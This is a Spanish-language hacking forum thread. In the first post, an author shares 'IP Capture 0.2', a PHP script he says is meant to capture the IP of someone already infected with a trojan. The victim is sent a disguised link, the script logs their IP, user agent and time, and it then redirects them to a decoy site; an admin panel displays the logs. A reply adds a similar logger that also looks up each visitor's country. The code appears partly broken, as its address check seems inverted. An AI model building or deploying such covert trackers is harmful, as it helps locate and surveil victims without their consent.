Un simple programa en PHP para capturar la IP de algun visitante , en realidad no funciona como contador y esas cosas , lo hice pensando en capturar la IP de alguien despues de infectarlo con cualquier cosa ya sea troyano u otras cosas.
La idea es asi , mandarle a la victima la url con ?id= , por ejemplo en mi caso el archivo es image.php , entonces para mandarle a la victima seria asi :
http://localhost/images/image.php?id=
De esa forma el programa captura la IP y la hora , despues de esto el programa redirecciona a la url marcada por ustedes en la configuracion del programa.
Para entrar a la administracion es asi :
http://localhost/images/image.php?admin=
El codigo :
<?php
// IP Capture 0.2
// Written By Doddy Hackman in the summer of the 2014
//Edit
$username = "admin";
$password = "21232f297a57a5a743894a0e4a801fc3"; //admin
$host = "localhost";
$userw = "root";
$passw = "";
$db = "ip";
//
error_reporting(0);
if (isset($_GET['id'])) {
mysql_connect($host, $userw, $passw);
mysql_select_db($db);
$ipa = ip2long($_SERVER[REMOTE_ADDR]);
$ip = mysql_real_escape_string($_SERVER[REMOTE_ADDR]);
$agente = mysql_real_escape_string($_SERVER['HTTP_USER_AGENT']);
$hora = mysql_real_escape_string(date('l jS \of F Y h:i:s A'));
if ($ipa == - 1 || $ipa === FALSE || $ip == "127.0.0.1") {
//echo $ip."<br>";
//echo $agente."<br>";
//echo $hora."<br>";
mysql_query("INSERT INTO ips (id,ip,useragent,hora) values (NULL,'$ip','$agente','$hora')");
$link = mysql_query("select link from links where id=1");
if ($valor = mysql_fetch_array($link)) {
echo "<meta http-equiv='Refresh' content='0;url=$valor[0]'>";
}
} else {
echo "<script>alert('Good Try Bitch');</script>";
}
mysql_close();
} elseif (isset($_GET['admin'])) {
if (isset($_COOKIE['portal'])) {
$st = base64_decode($_COOKIE['portal']);
$plit = split("@", $st);
$user = $plit[0];
$pass = $plit[1];
if ($user == $username and $pass == $password) {
darcolor();
mysql_connect($host, $userw, $passw);
mysql_select_db($db);
if (isset($_POST['instalar'])) {
$todo = "create table ips (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
ip TEXT NOT NULL,
useragent TEXT NOT NULL,
hora TEXT NOT NULL,
PRIMARY KEY(id));
";
$todo2 = "create table links (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
link TEXT NOT NULL,
PRIMARY KEY(id));
";
if (mysql_query($todo)) {
if (mysql_query($todo2)) {
mysql_query("INSERT INTO links (id,link) values (NULL,'http://www.google.com')");
echo "<script>alert('Installed');</script>";
echo '<meta http-equiv="refresh" content=0;URL=>';
}
} else {
echo "<script>alert('Error');</script>";
}
}
if (mysql_num_rows(mysql_query("show tables like 'ips'"))) {
//Lo demas
echo "<table border=1 style='margin: 0 auto;'>";
echo "<title>IP Capture Administration 0.2</title>";
echo "<td><br><center><h1><b>IP Capture Administration 0.2</h1></b></center><br><br></td><tr>";
if (isset($_GET['del'])) {
$id = $_GET['del'];
if (is_numeric($id)) {
if (mysql_query("delete from ips where id ='$id'")) {
echo "<script>alert('Deleted');</script>";
} else {
echo "<script>alert('Error');</script>";
}
}
}
if (isset($_POST['linknuevo'])) {
$linkar = mysql_real_escape_string($_POST['linknuevo']);
if (mysql_query("update links set link='$linkar' where id=1")) {
echo "<script>alert('Changed');</script>";
} else {
echo "<script>alert('Error');</script>";
}
}
echo "<td>
<center><table borde=1><td>
<h2><center><br>Update Link</center></h2></td><tr><br><br><td>
<form action='?admin=na&linknuevo' method=POST><br>
<b>Link : </b><input type=text size=50 name=linknuevo value=";
$link = mysql_query("select link from links where id=1");
if ($valor = mysql_fetch_array($link)) {
echo $valor[0];
}
echo "></td><tr><td><center><br><input type=submit value=Changed></center><br></td><tr></table><br>
</form></td><tr>
<br><td>";
$iny = htmlentities("http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id=");
echo "<center><table border=1><br>";
echo "<td><h2><br><center>Link to Send</center></h2></td><tr>";
echo "<td><input text=gen size=100 value=" . $iny . "></td><tr>";
echo "<br></table></center><br>";
echo "<br><center><table border=1>
<td><h2><center>Logs</center></h2></td><tr><td>
<table border=1>
<td>ID</td><td>IP</td><td>UserAgent</td><td>DateTime</td><td>Option</td><tr>";
$sen = @mysql_query("select * from ips order by id ASC");
while ($ab = @mysql_fetch_array($sen)) {
echo "<td>" . htmlentities($ab[0]) . "</td><td>" . htmlentities($ab[1]) . "</td><td>" . htmlentities($ab[2]) . "</td><td>" . htmlentities($ab[3]) . "</td><td><a href=?admin=na&del=" . htmlentities($ab[0]) . ">Delete</a></td><tr>";
}
echo "</table></center><br><br><br></td>
</center>
</td><tr></table>
";
echo "<br><br><br><center><h1>-- == (C) Doddy Hackman 2014 == --</h1></center><br><br></table>";
//
} else {
echo "
<center><br><br>
<form action='' method=POST>
<h2>You want to install IP Capture 0.2 ?</h2><br><br>
<input type=submit name=instalar value=Install>
</form>";
}
mysql_close();
exit(1);
// End
} else {
echo "<script>alert('Fuck You');</script>";
}
}
if (isset($_POST['login'])) {
if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
setcookie("portal", base64_encode($_POST['user'] . "@" . md5($_POST['password'])));
echo "<script>alert('Welcome Idiot');</script>";
echo '<meta http-equiv="refresh" content=0;URL=?admin=>';
} else {
echo "<script>alert('Fuck You');</script>";
}
} else {
darcolor();
echo "
<title>IP Capture 0.2</title>
<br><h1><center>IP Capture 0.2</center></h1>
<br><br><center>
<form action='' method=POST>
Username : <input type=text name=user><br>
Password : <input type=text name=password><br><br>
<input type=submit name=login value=Enter><br>
</form>
</center><br><br>";
}
} else {
mysql_connect($host, $userw, $passw);
mysql_select_db($db);
$link = mysql_query("select link from links where id=1");
if ($valor = mysql_fetch_array($link)) {
echo "<meta http-equiv='Refresh' content='0;url=$valor[0]'>";
}
mysql_close();
}
function darcolor() {
echo '<style type="text/css">
.main {
margin : -287px 0px 0px -490px;
border : White solid 1px;
BORDER-COLOR: #00FF00;
}
#pie {
position: absolute;
bottom: 0;
}
body,a:link {
background-color: #000000;
color:#00FF00;
Courier New;
cursor:crosshair;
font-size: small;
}
input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;color:#00FF00;
border: solid 1px #00FF00;
border-color:#00FF00
}
a:link,a:visited,a:active {
color: #00FF00;
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}
</style>';
}
// The End ?
?>
yo he echo algo parecido pero para crear un log de ips en un archivo lo unico que mi codigo dice el pais de la ip
<?php
function alinear($cadena,$max){
$puntos="";
$menos=$max - strlen($cadena);
for ($i=1; $i<=$menos; $i++){
$puntos=$puntos.".";
}
return $cadena.$puntos;
}
function pais($_IP){
$GetPais=file_get_contents("https://www.countryipblocks.net/search_ip.php?search_ip=".$_IP);
preg_match_all("|<strong>IP Address assigned to:(.*)</strong>|sU", $GetPais, $PaisMatch);
if (isset($PaisMatch[1][0])) return $PaisMatch[1][0];
}
$IP=$_SERVER['REMOTE_ADDR'];
$archivo="acceso2.log";
$contenido=date("d-m-Y H:i")."| ".alinear($IP,15)."|".alinear(pais($IP),30)."| ".alinear($_SERVER['REQUEST_URI'],50)."| ".alinear($_SERVER['HTTP_USER_AGENT'],140). "\n";
if (is_writable($archivo)) {
$gestor = fopen($archivo, 'a');
fwrite($gestor, $contenido);
fclose($gestor);
}
?>
nose si hay otra forma de sacar el pais de una ip pero este me funciona tengo un codigo parecido pero utilizo base de datos para almacenar el pais de la ip y asi no hacer otra peticion a la pagina esa